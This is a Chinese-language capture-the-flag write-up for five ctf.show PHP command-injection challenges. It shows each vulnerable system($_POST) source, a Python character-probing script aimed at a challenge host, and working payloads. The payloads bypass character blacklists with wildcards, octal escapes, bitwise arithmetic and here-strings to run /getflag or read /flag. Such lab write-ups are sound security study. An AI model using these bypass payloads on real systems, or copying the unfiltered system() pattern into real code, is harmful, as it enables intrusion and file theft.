题目1
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
脚本跑一下
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($i))){
echo chr($i)." ";
}
}
还有这些可以用
! $ ’ ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~
直接运行getflag
用通配符
POST:
ctf_show=/?????a?
题目2
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
import requests
#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"
str= ""
for i in range(255):
data = {'ctf_show':chr(i)}
retext = requests.post(url,data=data).text
if "??????" in retext:
print(1)
else:
str += chr(i)
print(str)
!#$&'()0123456789<_{}~
没有通配符了,但是可以通过$'\xxx'
的方式执行命令,其中xxx
是ascii字母的8进制值
ls=$'\154\163'
/getflag=$'\57\147\145\164\146\154\141\147'
POST:
ctf_show=$'\57\147\145\164\146\154\141\147'
题目3
!#$&'()01<_{}~
跑完脚本发现这些可以用
我们的目的是构造命令cat /flag
然后进行合理的手段只有01不难想到是二进制,然后我们再转换为刚才的八进制来执行命令
$((1<<1))=2
ls=$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这里能正常解析但是无法执行,我们要使用<<<来进行命令执行
三个小于号 (<<<) 是一种特殊的重定向操作符,被称为here-string。它允许你直接将一个字符串作为命令的标准输入。
ctf_show=$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$0是用来接受命令的
cat /flag=$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
POST:
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
题目4
!#$&'()0<_{}~
先用脚本跑出这些东东能用
然后要找出1就能有答案了
$#=0
${##}=1
abc=aaaa
${#abc}=4(字符长度)
现在直接用${##}替换1
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
题目5
跑脚本的东西
!$&'()<=_{}~
${!xxx}的知识点
def=456
${!def}=456
然后这里我们发现可以取反获得数字0 1
~a=-(a+1)
$(())=0
$((~$(())))=-1
$((~$(())))$((~$(())))=-1-1
$(($((~$(())))$((~$(())))))=-2
$((~$(($((~$(())))$((~$(())))))))=1
得到一个规律就是-1取反得到0,-2取反得到1,以此类推
$((~$(($((~$(())))$((~$(())))$((~$(())))))))=2
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=3
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=4
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=5
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=6
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))=7
首先由于bash的局限性:变量命名规范是以下划线或者英文字母开头,我们命令__=$(())
然后再利用${!__}=0来代替中间命令用&&来分割,但是&&被过滤我们使用URL%26%26替代
我们都可以直接执行8进制的了
cat /flag=$'\143\141\164\40\146\154\141\147'
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'